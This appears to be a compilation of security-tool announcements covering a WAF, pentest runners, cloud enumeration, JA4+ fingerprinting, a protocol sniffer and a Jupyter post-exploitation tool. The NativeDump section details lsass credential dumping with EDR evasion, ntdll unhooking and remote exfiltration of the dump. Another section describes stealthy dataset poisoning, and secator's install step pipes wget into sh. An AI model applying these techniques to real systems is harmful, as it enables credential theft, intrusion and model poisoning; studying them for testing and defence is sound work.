SafeLine - Serve As A Reverse Proxy To Protect Your Web Services From Attacks And Exploits

SafeLine is a self-hosted WAF(Web Application Firewall) to protect your web apps from attacks and exploits.

A web application firewall helps protect web apps by filtering and monitoring HTTP traffic between a web application and the Internet. It typically protects web apps from attacks such as SQL injection, XSS, code injection, os command injection, CRLF injection, ldap injection, xpath injection, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, among others.

How It Works

By deploying a WAF in front of a web application, a shield is placed between the web application and the Internet. While a proxy server protects a client machine's identity by using an intermediary, a WAF is a type of reverse-proxy, protecting the server from exposure by having clients pass through the WAF before reaching the server.

A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe. Just as a proxy server acts as an intermediary to protect the identity of a client, a WAF operates in similar fashion but acting as an reverse proxy intermediary that protects the web app server from a potentially malicious client.

its core capabilities include:

• Defenses for web attacks
• Proactive bot abused defense
• HTML & JS code encryption
• IP-based rate limiting
• Web Access Control List

Screenshots

Get Live Demo

FEATURES

List of the main features as follows:

• Block Web Attacks
• It defenses for all of web attacks, such as SQL injection, XSS, code injection, os command injection, CRLF injection, XXE, SSRF, path traversal and so on.
• Rate Limiting
• Defend your web apps against DoS attacks, bruteforce attempts, traffic surges, and other types of abuse by throttling traffic that exceeds defined limits.
• Anti-Bot Challenge
• Anti-Bot challenges to protect your website from bot attacks, humen users will be allowed, crawlers and bots will be blocked.
• Authentication Challenge
• When authentication challenge turned on, visitors need to enter the password, otherwise they will be blocked.
• Dynamic Protection
• When dynamic protection turned on, html and js codes in your web server will be dynamically encrypted by each time you visit.

Secator - The Pentester'S Swiss Knife

secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.

Features

• Curated list of commands

• Unified input options

• Unified output schema

• CLI and library usage

• Distributed options with Celery

• Complexity from simple tasks to complex workflows

• Customizable

Supported tools

secator integrates the following tools:

Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

Installation

Installing secator

pipx install secator

pip install secator

wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh

docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help

alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"

secator --help

git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help

Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

Installing languages

secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

We provide utilities to install required languages if you don't manage them externally:

secator install langs go

secator install langs ruby

Installing tools

secator does not install any of the external tools it supports by default.

We provide utilities to install or update each supported tool which should work on all systems supporting apt:

secator install tools

secator install tools <TOOL_NAME>

secator install tools httpx

Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

Installing addons

secator comes installed with the minimum amount of dependencies.

There are several addons available for secator:

secator install addons worker

secator install addons google

secator install addons mongodb

secator install addons redis

secator install addons dev

secator install addons trace

secator install addons build

Install CVEs

secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

secator install cves

Checking installation health

To figure out which languages or tools are installed on your system (along with their version):

secator health

Usage

secator --help

Usage examples

Run a fuzzing task (ffuf):

secator x ffuf http://testphp.vulnweb.com/FUZZ

Run a url crawl workflow:

secator w url_crawl http://testphp.vulnweb.com

Run a host scan:

secator s host mydomain.com

and more... to list all tasks / workflows / scans that you can use:

secator x --help
secator w --help
secator s --help

Learn more

To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube

CloudBrute - Awesome Cloud Enumerator

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here

Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

• separated wordlists
• lack of proper concurrency
• lack of supporting all major cloud providers
• require authentication or keys or cloud CLI access
• outdated endpoints and regions
• Incorrect file storage detection
• lack support for proxies (useful for bypassing region restrictions)
• lack support for user agent randomization (useful for bypassing rare restrictions)
• hard to use, poorly configured

Features

• Cloud detection (IPINFO API and Source Code)
• Supports all major providers
• Black-Box (unauthenticated)
• Fast (concurrent)
• Modular and easily customizable
• Cross Platform (windows, linux, mac)
• User-Agent Randomization
• Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http"  # socks5 / http
ipinfo: ""      # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝
██║     ██║     ██║   ██║██║   ██║██║  ██║██████╔╝██████╔╝██║   ██║   ██║   █████╗  
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝
                                                V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
                  -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
                  <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
                  [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
                  [-m|--mode "<value>"] [-o|--output "<value>"]
                  [-C|--configFolder "<value>"]

                  Awesome Cloud Enumerator

Arguments:

  -h  --help          Print help information
  -d  --domain        domain
  -k  --keyword       keyword used to generator urls
  -w  --wordlist      path to wordlist
  -c  --cloud         force a search, check config.yaml providers list
  -t  --threads       number of threads. Default: 80
  -T  --timeout       timeout per request in seconds. Default: 10
  -p  --proxy         use proxy list
  -a  --randomagent   user agent randomization
  -D  --debug         show debug logs. Default: false
  -q  --quite         suppress all output. Default: false
  -m  --mode          storage or app. Default: storage
  -o  --output        Output file. Default: out.txt
  -C  --configFolder  Config path. Default: config

for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

• Clone the repo
• go build -o CloudBrute main.go
• go test internal

in action

NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).

• NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
• RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
• NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
• NtOpenProcess to get a handle for the lsass process
• NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream
  

Usage:

NativeDump.exe [DUMP_FILE]

The default file name is "proc_.dmp":

The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

The project has three branches at the moment (apart from the main branch with the basic technique):

• ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

• delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

• remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding

Technique in detail: Creating a minimal Minidump file

After reading Minidump undocumented structures, its structure can be summed up to:

• Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
• Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
• Streams: Every stream contains different information related to the process and has its own format
• Regions: The actual bytes from the process from each memory region which can be read

I created a parsing tool which can be helpful: MinidumpParser.

We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.

A. Header

The header is a 32-bytes structure which can be defined in C# as:

public struct MinidumpHeader
{
    public uint Signature;
    public ushort Version;
    public ushort ImplementationVersion;
    public ushort NumberOfStreams;
    public uint StreamDirectoryRva;
    public uint CheckSum;
    public IntPtr TimeDateStamp;
}

The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header

B. Stream Directory

Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

public struct MinidumpStreamDirectoryEntry
{
    public uint StreamType;
    public uint Size;
    public uint Location;
}

The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

C. SystemInformation Stream

First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

public struct SystemInformationStream
{
    public ushort ProcessorArchitecture;
    public ushort ProcessorLevel;
    public ushort ProcessorRevision;
    public byte NumberOfProcessors;
    public byte ProductType;
    public uint MajorVersion;
    public uint MinorVersion;
    public uint BuildNumber;
    public uint PlatformId;
    public uint UnknownField1;
    public uint UnknownField2;
    public IntPtr ProcessorFeatures;
    public IntPtr ProcessorFeatures2;
    public uint UnknownField3;
    public ushort UnknownField14;
    public byte UnknownField15;
}

The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)

D. ModuleList Stream

Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public ModuleInfo[] Modules;
}

As there is only one, it gets simplified to:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public IntPtr BaseAddress;
    public uint Size;
    public uint UnknownField1;
    public uint Timestamp;
    public uint PointerName;
    public IntPtr UnknownField2;
    public IntPtr UnknownField3;
    public IntPtr UnknownField4;
    public IntPtr UnknownField5;
    public IntPtr UnknownField6;
    public IntPtr UnknownField7;
    public IntPtr UnknownField8;
    public IntPtr UnknownField9;
    public IntPtr UnknownField10;
    public IntPtr UnknownField11;
}

The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)

E. Memory64List Stream

Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

public struct Memory64ListStream
{
    public ulong NumberOfEntries; 
    public uint MemoryRegionsBaseAddress;
    public Memory64Info[] MemoryInfoEntries;
}

Each module entry is a 16-bytes structure:

public struct Memory64Info
{
    public IntPtr Address;
    public IntPtr Size;
}

The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them

F. Looping memory regions

There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream

G. Creating Minidump file

After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.

JA4+ - Suite Of Network Fingerprinting Standards

JA4+ is a suite of network Fingerprinting methods that are easy to use and easy to share. These methods are both human and machine readable to facilitate more effective threat-hunting and analysis. The use-cases for these fingerprints include scanning for threat actors, malware detection, session hijacking prevention, compliance automation, location tracking, DDoS detection, grouping of threat actors, reverse shell detection, and many more.

Please read our blogs for details on how JA4+ works, why it works, and examples of what can be detected/prevented with it:
JA4+ Network Fingerprinting (JA4/S/H/L/X/SSH)
JA4T: TCP Fingerprinting (JA4T/TS/TScan)

To understand how to read JA4+ fingerprints, see Technical Details

This repo includes JA4+ Python, Rust, Zeek and C, as a Wireshark plugin.

JA4/JA4+ support is being added to:
GreyNoise
Hunt
Driftnet
DarkSail
Arkime
GoLang (JA4X)
Suricata
Wireshark
Zeek
nzyme
Netresec's CapLoader
NetworkMiner">Netresec's NetworkMiner
NGINX
F5 BIG-IP
nfdump
ntop's ntopng
ntop's nDPI
Team Cymru
NetQuest
Censys
Exploit.org's Netryx
cloudflare.com/bots/concepts/ja3-ja4-fingerprint/">Cloudflare
fastly
with more to be announced...

Examples

For more, see ja4plus-mapping.csv
The mapping file is unlicensed and free to use. Feel free to do a pull request with any JA4+ data you find.

Plugins

Wireshark
Zeek
Arkime

Binaries

Recommended to have tshark version 4.0.6 or later for full functionality. See: https://pkgs.org/search/?q=tshark

Download the latest JA4 binaries from: Releases.

JA4+ on Ubuntu

sudo apt install tshark
./ja4 [options] [pcap]

JA4+ on Mac

1) Install Wireshark https://www.wireshark.org/download.html which will install tshark 2) Add tshark to $PATH

ln -s /Applications/Wireshark.app/Contents/MacOS/tshark /usr/local/bin/tshark
./ja4 [options] [pcap]

JA4+ on Windows

1) Install Wireshark for Windows from https://www.wireshark.org/download.html which will install tshark.exe
tshark.exe is at the location where wireshark is installed, for example: C:\Program Files\Wireshark\thsark.exe
2) Add the location of tshark to your "PATH" environment variable in Windows.
(System properties > Environment Variables... > Edit Path)
3) Open cmd, navigate the ja4 folder

ja4 [options] [pcap]

Database

An official JA4+ database of fingerprints, associated applications and recommended detection logic is in the process of being built.

In the meantime, see ja4plus-mapping.csv

Feel free to do a pull request with any JA4+ data you find.

JA4+ Details

JA4+ is a set of simple yet powerful network fingerprints for multiple protocols that are both human and machine readable, facilitating improved threat-hunting and security analysis. If you are unfamiliar with network fingerprinting, I encourage you to read my blogs releasing JA3 here, JARM here, and this excellent blog by Fastly on the State of TLS Fingerprinting which outlines the history of the aforementioned along with their problems. JA4+ brings dedicated support, keeping the methods up-to-date as the industry changes.

All JA4+ fingerprints have an a_b_c format, delimiting the different sections that make up the fingerprint. This allows for hunting and detection utilizing just ab or ac or c only. If one wanted to just do analysis on incoming cookies into their app, they would look at JA4H_c only. This new locality-preserving format facilitates deeper and richer analysis while remaining simple, easy to use, and allowing for extensibility.

For example; GreyNoise is an internet listener that identifies internet scanners and is implementing JA4+ into their product. They have an actor who scans the internet with a constantly changing single TLS cipher. This generates a massive amount of completely different JA3 fingerprints but with JA4, only the b part of the JA4 fingerprint changes, parts a and c remain the same. As such, GreyNoise can track the actor by looking at the JA4_ac fingerprint (joining a+c, dropping b).

Current methods and implementation details:
| Full Name | Short Name | Description | |---|---|---| | JA4 | JA4 | TLS Client Fingerprinting
| JA4Server | JA4S | TLS Server Response / Session Fingerprinting | JA4HTTP | JA4H | HTTP Client Fingerprinting | JA4Latency | JA4L | Latency Measurment / Light Distance | JA4X509 | JA4X | X509 TLS Certificate Fingerprinting | JA4SSH | JA4SSH | SSH Traffic Fingerprinting | JA4TCP | JA4T | TCP Client Fingerprinting | JA4TCPServer | JA4TS | TCP Server Response Fingerprinting | JA4TCPScan | JA4TScan | Active TCP Fingerprint Scanner

The full name or short name can be used interchangeably. Additional JA4+ methods are in the works...

To understand how to read JA4+ fingerprints, see Technical Details

Licensing

JA4: TLS Client Fingerprinting is open-source, BSD 3-Clause, same as JA3. FoxIO does not have patent claims and is not planning to pursue patent coverage for JA4 TLS Client Fingerprinting. This allows any company or tool currently utilizing JA3 to immediately upgrade to JA4 without delay.

JA4S, JA4L, JA4H, JA4X, JA4SSH, JA4T, JA4TScan and all future additions, (collectively referred to as JA4+) are licensed under the FoxIO License 1.1. This license is permissive for most use cases, including for academic and internal business purposes, but is not permissive for monetization. If, for example, a company would like to use JA4+ internally to help secure their own company, that is permitted. If, for example, a vendor would like to sell JA4+ fingerprinting as part of their product offering, they would need to request an OEM license from us.

All JA4+ methods are patent pending.
JA4+ is a trademark of FoxIO

JA4+ can and is being implemented into open source tools, see the License FAQ for details.

This licensing allows us to provide JA4+ to the world in a way that is open and immediately usable, but also provides us with a way to fund continued support, research into new methods, and the development of the upcoming JA4 Database. We want everyone to have the ability to utilize JA4+ and are happy to work with vendors and open source projects to help make that happen.

ja4plus-mapping.csv is not included in the above software licenses and is thereby a license-free file.

Q&A

Q: Why are you sorting the ciphers? Doesn't the ordering matter?
A: It does but in our research we've found that applications and libraries choose a unique cipher list more than unique ordering. This also reduces the effectiveness of "cipher stunting," a tactic of randomizing cipher ordering to prevent JA3 detection.

Q: Why are you sorting the extensions?
A: Earlier in 2023, Google updated Chromium browsers to randomize their extension ordering. Much like cipher stunting, this was a tactic to prevent JA3 detection and "make the TLS ecosystem more robust to changes." Google was worried server implementers would assume the Chrome fingerprint would never change and end up building logic around it, which would cause issues whenever Google went to update Chrome.

So I want to make this clear: JA4 fingerprints will change as application TLS libraries are updated, about once a year. Do not assume fingerprints will remain constant in an environment where applications are updated. In any case, sorting the extensions gets around this and adding in Signature Algorithms preserves uniqueness.

Q: Doesn't TLS 1.3 make fingerprinting TLS clients harder?
A: No, it makes it easier! Since TLS 1.3, clients have had a much larger set of extensions and even though TLS1.3 only supports a few ciphers, browsers and applications still support many more.

JA4+ was created by:

John Althouse, with feedback from:

Josh Atkins
Jeff Atkinson
Joshua Alexander
W.
Joe Martin
Ben Higgins
Andrew Morris
Chris Ueland
Ben Schofield
Matthias Vallentin
Valeriy Vorotyntsev
Timothy Noel
Gary Lipsky
And engineers working at GreyNoise, Hunt, Google, ExtraHop, F5, Driftnet and others.

Contact John Althouse at john@foxio.io for licensing and questions.

_{^{Copyright (c) 2024, FoxIO}}

Above - Invisible Network Protocol Sniffer

Invisible protocol sniffer for finding vulnerabilities in the network. Designed for pentesters and security engineers.

Above: Invisible network protocol sniffer
Designed for pentesters and security engineers

Author: Magama Bazarov, <caster@exploit.org>
Pseudonym: Caster
Version: 2.6
Codename: Introvert

Disclaimer

All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.

It is a specialized network security tool that helps both pentesters and security professionals.

Mechanics

Above is a invisible network sniffer for finding vulnerabilities in network equipment. It is based entirely on network traffic analysis, so it does not make any noise on the air. He's invisible. Completely based on the Scapy library.

Above allows pentesters to automate the process of finding vulnerabilities in network hardware. Discovery protocols, dynamic routing, 802.1Q, ICS Protocols, FHRP, STP, LLMNR/NBT-NS, etc.

Supported protocols

Detects up to 27 protocols:

MACSec (802.1X AE)
EAPOL (Checking 802.1X versions)
ARP (Passive ARP, Host Discovery)
CDP (Cisco Discovery Protocol)
DTP (Dynamic Trunking Protocol)
LLDP (Link Layer Discovery Protocol) 
802.1Q Tags (VLAN)
S7COMM (Siemens)
OMRON
TACACS+ (Terminal Access Controller Access Control System Plus)
ModbusTCP
STP (Spanning Tree Protocol)
OSPF (Open Shortest Path First)
EIGRP (Enhanced Interior Gateway Routing Protocol)
BGP (Border Gateway Protocol)
VRRP (Virtual Router Redundancy Protocol)
HSRP (Host Standby Redundancy Protocol)
GLBP (Gateway Load Balancing Protocol)
IGMP (Internet Group Management Protocol)
LLMNR (Link Local Multicast Name Resolution)
NBT-NS (NetBIOS Name Service)
MDNS (Multicast DNS)
DHCP (Dynamic Host Configuration Protocol)
DHCPv6 (Dynamic Host Configuration Protocol v6)
ICMPv6 (Internet Control Message Protocol v6)
SSDP (Simple Service Discovery Protocol)
MNDP (MikroTik Neighbor Discovery Protocol)

Operating Mechanism

Above works in two modes:

• Hot mode: Sniffing on your interface specifying a timer
• Cold mode: Analyzing traffic dumps

The tool is very simple in its operation and is driven by arguments:

• Interface: Specifying the network interface on which sniffing will be performed
• Timer: Time during which traffic analysis will be performed
• Input: The tool takes an already prepared .pcap as input and looks for protocols in it
• Output: Above will record the listened traffic to .pcap file, its name you specify yourself
• Passive ARP: Detecting hosts in a segment using Passive ARP

usage: above.py [-h] [--interface INTERFACE] [--timer TIMER] [--output OUTPUT] [--input INPUT] [--passive-arp]

options:
  -h, --help            show this help message and exit
  --interface INTERFACE
                        Interface for traffic listening
  --timer TIMER         Time in seconds to capture packets, if not set capture runs indefinitely
  --output OUTPUT       File name where the traffic will be recorded
  --input INPUT         File name of the traffic dump
  --passive-arp         Passive ARP (Host Discovery)

Information about protocols

The information obtained will be useful not only to the pentester, but also to the security engineer, he will know what he needs to pay attention to.

When Above detects a protocol, it outputs the necessary information to indicate the attack vector or security issue:

• Impact: What kind of attack can be performed on this protocol;

• Tools: What tool can be used to launch an attack;

• Technical information: Required information for the pentester, sender MAC/IP addresses, FHRP group IDs, OSPF/EIGRP domains, etc.

• Mitigation: Recommendations for fixing the security problems

• Source/Destination Addresses: For protocols, Above displays information about the source and destination MAC addresses and IP addresses

Installation

Linux

You can install Above directly from the Kali Linux repositories

caster@kali:~$ sudo apt update && sudo apt install above

Or...

caster@kali:~$ sudo apt-get install python3-scapy python3-colorama python3-setuptools
caster@kali:~$ git clone https://github.com/casterbyte/Above
caster@kali:~$ cd Above/
caster@kali:~/Above$ sudo python3 setup.py install

macOS:

# Install python3 first
brew install python3
# Then install required dependencies
sudo pip3 install scapy colorama setuptools

# Clone the repo
git clone https://github.com/casterbyte/Above
cd Above/
sudo python3 setup.py install

Don't forget to deactivate your firewall on macOS!

Settings > Network > Firewall

How to Use

Hot mode

Above requires root access for sniffing

Above can be run with or without a timer:

caster@kali:~$ sudo above --interface eth0 --timer 120

To stop traffic sniffing, press CTRL + С

WARNING! Above is not designed to work with tunnel interfaces (L3) due to the use of filters for L2 protocols. Tool on tunneled L3 interfaces may not work properly.

Example:

caster@kali:~$ sudo above --interface eth0 --timer 120

-----------------------------------------------------------------------------------------
[+] Start sniffing...

[*] After the protocol is detected - all necessary information about it will be displayed
--------------------------------------------------
[+] Detected SSDP Packet
[*] Attack Impact: Potential for UPnP Device Exploitation
[*] Tools: evil-ssdp
[*] SSDP Source IP: 192.168.0.251
[*] SSDP Source MAC: 02:10:de:64:f2:34
[*] Mitigation: Ensure UPnP is disabled on all devices unless absolutely necessary, monitor UPnP traffic
--------------------------------------------------
[+] Detected MDNS Packet
[*] Attack Impact: MDNS Spoofing, Credentials Interception
[*] Tools: Responder
[*] MDNS Spoofing works specifically against Windows machines
[*] You cannot get NetNTLMv2-SSP from Apple devices
[*] MDNS Speaker IP: fe80::183f:301c:27bd:543
[*] MDNS Speaker MAC: 02:10:de:64:f2:34
[*] Mitigation: Filter MDNS traffic. Be careful with MDNS filtering
--------------------------------------------------

If you need to record the sniffed traffic, use the --output argument

caster@kali:~$ sudo above --interface eth0 --timer 120 --output above.pcap

If you interrupt the tool with CTRL+C, the traffic is still written to the file

Cold mode

If you already have some recorded traffic, you can use the --input argument to look for potential security issues

caster@kali:~$ above --input ospf-md5.cap

Example:

caster@kali:~$ sudo above --input ospf-md5.cap

[+] Analyzing pcap file...

--------------------------------------------------
[+] Detected OSPF Packet
[+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
[*] Tools: Loki, Scapy, FRRouting
[*] OSPF Area ID: 0.0.0.0
[*] OSPF Neighbor IP: 10.0.0.1
[*] OSPF Neighbor MAC: 00:0c:29:dd:4c:54
[!] Authentication: MD5
[*] Tools for bruteforce: Ettercap, John the Ripper
[*] OSPF Key ID: 1
[*] Mitigation: Enable passive interfaces, use authentication
--------------------------------------------------
[+] Detected OSPF Packet
[+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
[*] Tools: Loki, Scapy, FRRouting
[*] OSPF Area ID: 0.0.0.0
[*] OSPF Neighbor IP: 192.168.0.2
[*] OSPF Neighbor MAC: 00:0c:29:43:7b:fb
[!] Authentication: MD5
[*] Tools for bruteforce: Ettercap, John the Ripper
[*] OSPF Key ID: 1
[*] Mitigation: Enable passive interfaces, use authentication

Passive ARP

The tool can detect hosts without noise in the air by processing ARP frames in passive mode

caster@kali:~$ sudo above --interface eth0 --passive-arp --timer 10

[+] Host discovery using Passive ARP

--------------------------------------------------
[+] Detected ARP Reply
[*] ARP Reply for IP: 192.168.1.88
[*] MAC Address: 00:00:0c:07:ac:c8
--------------------------------------------------
[+] Detected ARP Reply
[*] ARP Reply for IP: 192.168.1.40
[*] MAC Address: 00:0c:29:c5:82:81
--------------------------------------------------

Outro

I wrote this tool because of the track "A View From Above (Remix)" by KOAN Sound. This track was everything to me when I was working on this sniffer.

Vger - An Interactive CLI Application For Interacting With Authenticated Jupyter Instances

V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.

User Stories

• As a Red Teamer, you've found Jupyter credentials, but don't know what you can do with them. V'ger is organized in a format that should be intuitive for most offensive security professionals to help them understand the functionality of the target Jupyter server.
• As a Red Teamer, you know that some browser-based actions will be visibile to the legitimate Jupyter users. For example, modifying tabs will appear in their workspace and commands entered in cells will be recorded to the history. V'ger decreases the likelihood of detection.
• As an AI Red Teamer, you understand academic algorthmic attacks, but need a more practical execution vector. For instance, you may need to modify a large, foundational internet-scale dataset as part of a model poisoning operation. Modifying that dataset at its source may be impossible or generate undesirable auditable artifacts. with V'ger you can achieve the same objectives in-memory, a significant improvement in tradecraft.
• As a Blue Teamer, you want to understand logging and visibility into a live Jupyter deployment. V'ger can help you generate repeatable artifacts for testing instrumentation and performing incident response exercises.

Usage

Initial Setup

1. pip install vger
2. vger --help

Currently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.

Commands

Once a connection is established, users drop into a nested set of menus.

The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.

